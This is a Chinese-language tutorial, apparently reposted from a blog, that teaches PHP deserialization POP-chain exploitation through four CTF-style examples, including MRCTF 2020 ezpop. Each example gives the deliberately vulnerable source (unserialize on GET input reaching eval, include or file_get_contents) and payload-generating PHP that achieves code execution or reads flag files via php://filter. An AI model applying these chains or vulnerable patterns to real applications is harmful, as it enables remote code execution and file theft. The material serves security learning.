ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

php反序列化——pop链实战

2021-10-16 16:04:41  阅读:198  来源: 互联网

标签:__ function php get pop 调用 序列化 public 类中


php反序列化详解参考:https://www.cnblogs.com/pursue-security/p/15291087.html

php反序列化之魔法函数详解:https://www.cnblogs.com/pursue-security/p/15291121.html

本文主要是通过一些实例来学习pop链的构造

实例一

一般来说,出现php反序列化漏洞是因为有写的不安全的魔术方法,因为魔术方法会自动调用,那我们就可以构造恶意的exp来触发它,但有的时候如果出现漏洞的代码不在魔术方法中,而是只在一个普通方法中,那我们怎么利用呢?这时候我们可以寻找魔术方法中是否调用了同名的函数,然后通过相同的函数名将类的属性和魔术方法中的属性联系起来

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);
?>

比如说上面这个例子,危险函数应该是evil类中的action方法,里面有个eval,但action方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test类中的__destruct()调用了action方法,但在__construct()中可以看出它创建了一个normal类的对象,然后调用的是normal类中的action方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil类的对象,那它自然调用的就是evil类中的action方法了,有了思路下面就来构造:

<?php
class test {
    protected $ClassObj;
}
class evil {
    private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

本来构造出来应该是这样,创建一个evil类的对象然后把它赋值给ClassObj属性,但这里这样写不行,因为ClassObj属性是protected属性,不能在类外面访问它,所以说我们得在test类里面写一个__construct()来完成这个操作:

<?php
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>

 

 例题二

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析:先找链子的头和尾,头部明显是GET传参,尾部是Uwant类中的getshell,然后往上倒推,Uwant类中的__get()中调用了getshellShow类中的toString调用了__get(),然后Hello类中的__destruct(),而我们GET传参之后会先进入__destruct(),这样子头和尾就连上了,所以说完整的链子就是:

头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

至于魔术方法具体是怎么调用的这就不讲了,请看上一篇文章,这儿就简单提一下,在Hello类中我们要把$this->str赋值成对象,下面echo出来才能调用Show类中的__toString(),然后再把Show类中的$this->str['str']赋值成对象,来调用Uwant类中的__get()

<?php
class Hello
{
    public $source;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Uwant
{
    public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

 

 例题三——2020 mrctf ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier类中的__invoke()调用了append(),然后在Test类中的__get()返回的是$function(),可以调用__invoke(),再往前Show类中的__toString()可以调用__get(),然后在Show类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了,如下图(来自LTLT):

 

 头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));

?>

 

 然后base64解码

 

 例题四——2021 强网杯 赌徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

 

分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了

有了思路我们就直接开始构造,一般找思路我们是从尾到头,而构造则是直接从头到尾

头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint() 

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

 

 成功打通,注意要把前面的hi去掉再进行base64编码才能得到flag。

标签:__,function,php,get,pop,调用,序列化,public,类中
来源: https://www.cnblogs.com/pursue-security/p/15413206.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有